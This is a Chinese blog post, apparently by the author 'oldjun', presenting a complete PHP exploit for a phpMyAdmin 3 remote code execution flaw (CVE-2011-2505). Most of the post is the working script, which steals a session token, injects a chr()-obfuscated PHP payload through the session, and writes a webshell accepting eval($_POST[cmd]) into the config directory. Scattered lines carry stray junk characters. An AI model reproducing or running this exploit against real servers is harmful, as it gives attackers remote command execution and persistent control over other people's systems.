phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
" I8 [5 y# T5 I' v8 p; L9 w9 o
2 |3 x" b5 B2 m2 @1 H( @( P昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

5 h. H6 |! e' Q! H5 h首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
) _* T2 D- I7 E1 c一是session.auto_start = 1；
5 b* e* e2 U# F# x二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
, g' ~3 F" e% l, R
; C$ [, j5 ^% K2 d' v在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：
6 f' D0 t$ Y% x
#!/usr/bin/php
3 j  P4 e% F- n3 M* z6 x7 I6 s<?php
print_r('
, V6 v/ i; j2 U- o2 ]+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
. l, j# L( S7 f4 [mail: oldjun@gmail.com
0 {/ Q) C/ g( j4 \Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
% M5 |% x: u4 C0 p');

/**
& W. d" V% I" E * working when the directory:"config" exists and is writeable.
**/
1 f8 `# n2 V3 E
% j) J/ ~6 [1 I3 B9 \if ($argc < 3) {
    print_r('
: C- r$ W( P1 m4 A- |, u2 Z5 F6 X+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
+ \+ q" y( `9 D% v" jpath:      path to pma3
8 S* P/ O8 k( o* R% LExample:
4 C- ~; G  o2 E& S3 C1 e! a8 Sphp '.$argv[0].' localhost /pma/
7 P2 I9 \' I5 u2 x+---------------------------------------------------------------------------+
8 ]2 Q1 b1 h9 {" h$ t');
    exit;
}
# O# S! z) Q& I  n
4 v% P/ _0 {# f0 V$ e$host = $argv[1];
$path = $argv[2];
) k# L5 P' P# C: ^. T
/**
* Try to determine if the directory:"config" exists
6 N8 u4 T. Q9 ?5 h& r**/
, l  j  x+ U* j; x+ eecho "[+] Try to determine if the directory:config exists....\n";
3 K* W# l7 u& b( x  j$returnstr=php_request('config/');
0 Y2 A: f$ v( \4 Z. {: oif(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
$ j$ H% F% }. E* Y}
# S. P( X- k+ y
: ~: [. V9 q8 _/ r/**
7 i2 T  D! z4 q. L4 `; ?' C * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
7 ^0 K& ~& f) V7 d# ?2 n  [if($token && $sessionid){
8 P) W6 K1 L4 D: U5 e. c6 C    echo "[+] tokentoken\n";
; M  o3 P0 q, d; R- Q# k0 Z6 @    echo "[+] Session IDsessionid\n";
: O$ {! B$ |1 I' q1 q, w" a, X}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
+ }* P. \) d) L  o8 F: @}

; f+ _  S8 }$ h/**
, b. p5 R6 t$ ?0 m * Try to insert shell into session
' G9 A  }8 O' M6 I4 @4 v**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
9 ~9 ~! o6 b( D$ O, d" a& f, R
' d& `" q$ O% j/**
) }4 i8 _) q* D; U% e% w * Try to create webshell
# [4 U4 M; v! g- L  T7 v  E**/
$ g; X- l) o7 O+ M! ?echo "[+] Try to create webshell....\n";
" a1 q& R. z$ U; P4 Vphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
0 J0 l/ y# w$ t * Try to check if the webshell was created successfully
  J7 S1 ]( P% |- u% x**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
/ [5 g* ?& u' b    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
& W- F& y9 Z' Z  e0 @! O( s. f}

5 U3 t5 G* V) T1 }: Kfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
# L/ o! G( \8 F8 Y2 a$ M    $method=$data?'POST':'GET';
   
* p* Q3 k+ Q1 C$ K# P    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
# }( S0 ~3 x* a. U* ?* ^/ a    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
7 b* u! g, m6 ]5 H  E& g/ x5 p/ [( H    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
: ?" Z2 _# A* S3 g# }1 p# ^    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
- k2 w; T6 h) d* s4 _2 h/ t    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

" F2 K0 e  ~7 K    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
6 @4 Q1 R- P! W  I9 Z) D3 e3 C# T: R" G    }
' ]" `; s% z/ K1 U( `6 L    fputs($fp, $packet);
7 e1 T& ?2 x9 _6 Z- i1 c2 j4 k  B9 G
    $resp = '';

8 d. X2 u) [3 k$ S% u2 M    while ($fp && !feof($fp))
% c8 ]" w7 P- d7 c8 h        $resp .= fread($fp, 1024);
& B. p+ y0 x# T9 p  L$ B
8 R, x( N+ ?8 a  k0 M$ y+ j& K! i    return $resp;
1 U) J) p/ d1 a1 l}
   
?>
) r# P  A6 ^) L5 l: w3 E$ j.